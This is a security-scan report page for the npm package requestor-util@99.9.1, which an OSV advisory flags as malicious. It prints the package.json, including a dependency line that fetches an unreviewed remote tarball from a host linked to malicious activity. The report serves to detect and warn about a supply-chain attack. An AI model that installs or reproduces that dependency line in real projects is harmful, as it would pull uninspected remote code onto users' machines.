registry / requestor-util / 99.9.1

requestor-util@99.9.1

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Installing the package causes npm to retrieve an unreviewed remote dependency tarball. No direct malicious behavior exists in the two included source files.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install of requestor-util@99.9.1

Impact

The remote artifact may introduce uninspected install-time or runtime behavior.

Mechanism

remote tarball dependency retrieval

Rationale

The empty entrypoint and lack of lifecycle hooks rule out a direct in-package attack chain. The sole meaningful functionality is an uninspectable remote dependency, so a warning is warranted.

Evidence

package.jsonindex.js

Network endpoints1

ltidi.storage.googleapis.com/depenconf/ltidisafe-3.4.6.tgz

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-10965

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in requestor-util (npm)

Details

The OpenSSF Package Analysis project identified 'requestor-util' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

References

OSV advisory

Decision evidence

public snapshot

AI called this Suspicious at 84.0% confidence as Unknown with medium false-positive risk.

Evidence for block

package.json declares ltidisafe from a remote tarball URL.
The declared dependency is not included in this extracted package for source review.
index.js is an empty export, making the remote dependency the package's only substantive behavior.

Evidence against

package.json has no preinstall, install, or postinstall hooks.
index.js contains only module.exports = {}.
No package source reads files/env, executes commands, or contacts a network endpoint.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

1 flagged

package.jsonView file

Lines 1-15json

2 "name": "requestor-util",

3 "version": "99.9.1",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg · L6

7 "test": "echo \"Error: no test specified\" && exit 1"

8 },

9 "dependencies": {

10 "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.4.6.tgz"

11 },

12 "author": "",

13 "license": "ISC"

14}

Source & flagged code

1 flagged · loading source

package.jsonView file

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.4.6.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Findings

1 Medium1 Low

MediumRemote Tarball Dependencypackage.json

LowScripts Present